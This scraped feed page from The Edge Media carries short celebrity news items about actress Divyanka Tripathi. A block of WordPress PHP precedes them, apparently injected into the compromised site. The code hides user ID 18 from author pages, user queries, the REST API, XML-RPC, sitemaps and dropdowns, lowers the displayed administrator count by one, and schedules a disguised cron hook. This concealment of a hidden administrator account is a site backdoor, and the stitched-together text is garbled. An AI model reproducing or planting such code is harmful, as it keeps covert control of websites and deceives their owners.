add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Divyanka Tripathi wins ‘Ticket To Finale’ appeared first on The Edge Media.
]]>Speaking about the task, it so happened that the two of them were supposed to climb a hanging bus with the help of a ladder and bring the mannequin down through a pulley. Next, they had to unhook the mannequin and attach an equipment from the car to the danger box. After pressing the final button, fire blast took place and the task got over.
Divyanka does exceptionally well in the task and impressed Rohit Shetty. For those unversed, in the very first episode, Rohit declared that Divyanka would definitely be there in the final. It all happened when she courageously carried an alligator twice for the stunt. In the process, she got hurt but did not abort.
When the episode came to an end, Rohit informed everyone that now the semi-finale week has begun and soon double elimination will take place.
The post Divyanka Tripathi wins ‘Ticket To Finale’ appeared first on The Edge Media.
]]>The post Divyanka rejects the role for the show Bade Acche Lagte Hain 2 appeared first on The Edge Media.
]]>The actress, who is currently seen in Rohit Shetty’s Khatron Ke Khiladi 11, recently went LIVE with her husband and actor Vivek Dahiya on Instagram to confirm that she was approached for the show but has rejected it.
Divyanka revealed that she even gave the look test for Bade Acche Lagte Hain 2 but could not relate to the character so rejected it.
Even though Divyanka clarified it all, it made a buzz in telly town. On the same, Divyanka in her new post talked that she has learnt a few things from the past week. The actress took to her Instagram and announced that she is celebrating her trolling week. She also stated how the experiences have led her to evolve and mature.
Celebrating my #TrollingWeek & #NewConflictEveryday…Flustered me: tries to find reasons. Evolved Me: 1) I thank them for giving me a perspective. 2) I respect them for being so passionate about something to fight for. 3) My belief in Karma is further reinstated as the result of good deeds is generally positive. 4) I wake up matured with more experiences. So LET’S NACHO #ThankYou,” the actress wrote.
Concluding the note, she wrote, “This is for finding myself in centre of a ‘few confusions’ since a week. Got baffled by consecutive events but wanted to share how self evolving it can be.”
See Divyanka’s post here :
https://www.instagram.com/p/CSGWF9KtoW8/?utm_source=ig_web_copy_link
Meanwhile, Divyanka is now looking into scripts for her next role. The actress said that she desires to play an IAS officer or a negative role in her next project. She is winning hearts with her performance in Khatron Ke Khiladi 11. Within the early days of the show, she has proved herself to be a tough contestant. Host Rohit Shetty also lauded Divyanka after her stunt and called her the strongest.
The post Divyanka rejects the role for the show Bade Acche Lagte Hain 2 appeared first on The Edge Media.
]]>The post Divyanka Tripathi Dahiya gives a befitting reply to a troll appeared first on The Edge Media.
]]>She said “As celebrities, we’re bound to catch the eye of many and are constantly under the radar. I, however, have always been against trolls who specifically target women. I teach them how to be. It’s not that I’m a hardcore feminist… I believe in equal treatment for men and women.”
“When the troll questioned me about the absence of my Dupatta, it triggered me because what I was preaching in the show was an absolute opposite of it,” she added. Asserting that a woman’s dressing should be according to her choice and not how people want to see them.
She further added, “Social norms differ according to regions and surroundings. Besides, a lot also depends on one’s learning through growing up years. So, no one can truly say what dress or behaviour is right or wrong. World is grey that way.”
The post Divyanka Tripathi Dahiya gives a befitting reply to a troll appeared first on The Edge Media.
]]>